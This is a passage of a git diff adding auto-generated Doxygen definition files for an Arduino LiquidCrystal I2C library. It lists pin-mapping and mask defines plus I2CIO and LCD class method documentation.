'_liquid_crystal___s_r2_w_8h_1a53e3add69865ae57ca872cb41fcae9e3'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR2W_BL_MASK'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x02 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + define-mem-desc-line = '132'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r2_w_8h_1a7cf86f2a173473d01e02b2ac786a8690'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR2W_DATA_MASK'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x78 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + define-mem-desc-line = '134'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r2_w_8h_1a8d17b6abb5bcde6883dbdc86d34be9d8'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR2W_EN_MASK'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x80 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + define-mem-desc-line = '135'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r2_w_8h_1acce98b026d9fdcb2e126705c14af7500'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR2W_RS_MASK'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x04 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + define-mem-desc-line = '133'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___s_r3_w_8cpp'; + file-name = 'LiquidCrystal_SR3W.cpp'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1a3d9bb178282c3cb69740c94ba1e48fed'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D4'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '126'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract LCD dataline allocation this library only supports 4 bit LCD control + mode. + @discussion D4, D5, D6, D7 LCD data lines pin mapping of the extender module +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1a2ddd4183d444d6d128cbdbd6269e4e0c'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D5'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +1 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '127'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1a79a18a7f5ccf7a7ca31f302bd62527a6'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D6'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +2 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '128'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1a2ba78f059a7ebebc95e7beef690e88d6'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D7'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +3 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '129'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1a22e6626f2c98ed902f8ded47f6438c05'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'EN'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +4 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '104'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Enable bit of the LCD + @discussion Defines the IO of the expander connected to the LCD's Enable +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1ac059d24dfe9c1e1f7c07cb7869a1833b'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_BACKLIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0xFF +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '93'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract LCD_BACKLIGHT + @discussion BACKLIGHT MASK used when backlight is on +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1a65fa786d6e31fe8b1aa51784a9736581'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_NOBACKLIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '86'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract LCD_NOBACKLIGHT + @discussion No BACKLIGHT MASK +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1af8903d8eea3868940c60af887473b152'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'RS'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +6 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '118'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Register bit of the LCD + @discussion Defines the IO of the expander connected to the LCD's Register select pin +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1afc4ded33ac0ca43defcce639e965748a'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'RW'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +5 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '111'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Read/Write bit of the LCD + @discussion Defines the IO of the expander connected to the LCD's Rw pin +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___s_r3_w_8h'; + file-name = 'LiquidCrystal_SR3W.h'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ diff --git a/libraries/LiquidCrystal/docs/def/doxygen.def.txt b/libraries/LiquidCrystal/docs/def/doxygen.def.txt new file mode 100644 index 0000000..8f4275f --- /dev/null +++ b/libraries/LiquidCrystal/docs/def/doxygen.def.txt @@ -0,0 +1,2897 @@ +AutoGen Definitions dummy; +class = { + cp-id = 'class_i2_c_i_o'; + cp-name = 'I2CIO'; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a32eb7832075ad6011d67874405a0d0a6'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'I2CIO'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '51'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Constructor method + @discussion Class constructor constructor. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a6f814653d903dc2ff6e8420eeb7954ae'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'begin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'i2cAddr'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '63'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the device. + @discussion This method initializes the device allocating an I2C address. + This method is the first method that should be call prior to calling any + other method form this class. On initialization all pins are configured + as INPUT on the device. + @param i2cAddr: I2C Address where the device is located. + @result 1 if the device was initialized correctly, 0 otherwise +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a53b94274eb6bb68564cf5243323db887'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'pinMode'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'dir'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '73'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Sets the mode of a particular pin. + @discussion Sets the mode of a particular pin to INPUT, OUTPUT. digitalWrite + has no effect on pins which are not declared as output. + @param pin: Pin from the I2C IO expander to be configured. Range 0..7 + @param dir: Pin direction (INPUT, OUTPUT). +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a0341888753bc54c4384f5593a870fb34'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'portMode'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'dir'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '83'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Sets all the pins of the device in a particular direction. + @discussion This method sets all the pins of the device in a particular + direction. This method is useful to set all the pins of the device to be + either inputs or outputs. + @param dir: Direction of all the pins of the device (INPUT, OUTPUT). +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a7a3db7bfc15ede0ae9e8c8bd44290ef7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'read'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '93'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Reads all the pins of the device that are configured as INPUT. + @discussion Reads from the device the status of the pins that are configured + as INPUT. During initialization all pins are configured as INPUTs by default. + Please refer to pinMode or portMode. + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1ac26221011a8b49bcea9ef62712ea88a7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'digitalRead'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '106'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Read a pin from the device. + @discussion Reads a particular pin from the device. To read a particular + pin it has to be configured as INPUT. During initialization all pins are + configured as INPUTs by default. Please refer to pinMode or portMode. + @param pin: Pin from the port to read its status. Range (0..7) + @result Returns the pin status (HIGH, LOW) if the pin is configured + as an output, reading its value will always return LOW regardless of its + real state. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1ae2063569c927d0008e2593d14504fdcd'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '120'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Write a value to the device. + @discussion Writes to a set of pins in the device. The value is the binary + representation of all the pins in device. The value written is masked with + the configuration of the direction of the pins; to change the state of + a particular pin with this method, such pin has to be configured as OUTPUT + using the portMode or pinMode methods. If no pins have been configured as + OUTPUTs this method will have no effect. + @param value: value to be written to the device. + @result 1 on success, 0 otherwise +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a473206162522b847546777d16a7c6dcd'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'digitalWrite'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'level'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '132'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes a digital level to a particular pin. + @discussion Write a level to the indicated pin of the device. For this + method to have effect, the pin has to be configured as OUTPUT using the + pinMode or portMode methods. + @param pin: device pin to change level. Range (0..7). + @para level: logic level to set the pin at (HIGH, LOW). + @result 1 on success, 0 otherwise. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_i2_c_i_o_1abcd6f7f5f176f965d8ae535afa9f6cec'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_shadow'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '137'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_i2_c_i_o_1a283a99ef1c6f58fa8a0489089cba9682'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_dirMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '138'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_i2_c_i_o_1ade58da873af4240a53053ef5f12a2728'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_i2cAddr'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '139'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_i2_c_i_o_1a8c566f3fd332eefe4db57cbe6b69337c'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +bool +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_initialised'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '140'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + cp-fileline = '44'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_l_c_d'; + cp-name = 'LCD'; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal___i2_c'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a00bb2db1390721abc7b24ac4b8c276c8'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LCD'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '104'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract LiquidCrystal abstract constructor. + @discussion LiquidCrystal class abstract constructor needed to create + the base abstract class. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a5b7aee49867828a0160a142b9109c07a'; + sec-mem-virt = pure-virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'begin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'cols'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rows'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'charsize'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +LCD_5x8DOTS +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '120'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract LCD initialization. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class. + + This method is pure abstract, it is dependent on each derived class from + this base class to implement the internals of how the LCD is initialized + and configured. + + @param cols the number of columns that the display has + @param rows the number of rows that the display has +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1afa699e0beeeee03cce8cef87eba81c4a'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'clear'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '132'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Clears the LCD. + @discussion Clears the LCD screen and positions the cursor in the upper-left + corner. + + This operation is time consuming for the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1aee45ad37f09312f5d9982257e2d37e68'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'home'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '145'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the cursor to the upper-left corner. + @discussion Positions the cursor in the upper-left of the LCD. + That is, use that location in outputting subsequent text to the display. + To also clear the display, use the clear() function instead. + + This operation is time consuming for the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1af3974da6d988ba2d21c25135ada12108'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noDisplay'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '155'; + sec-mem-briefdesc = 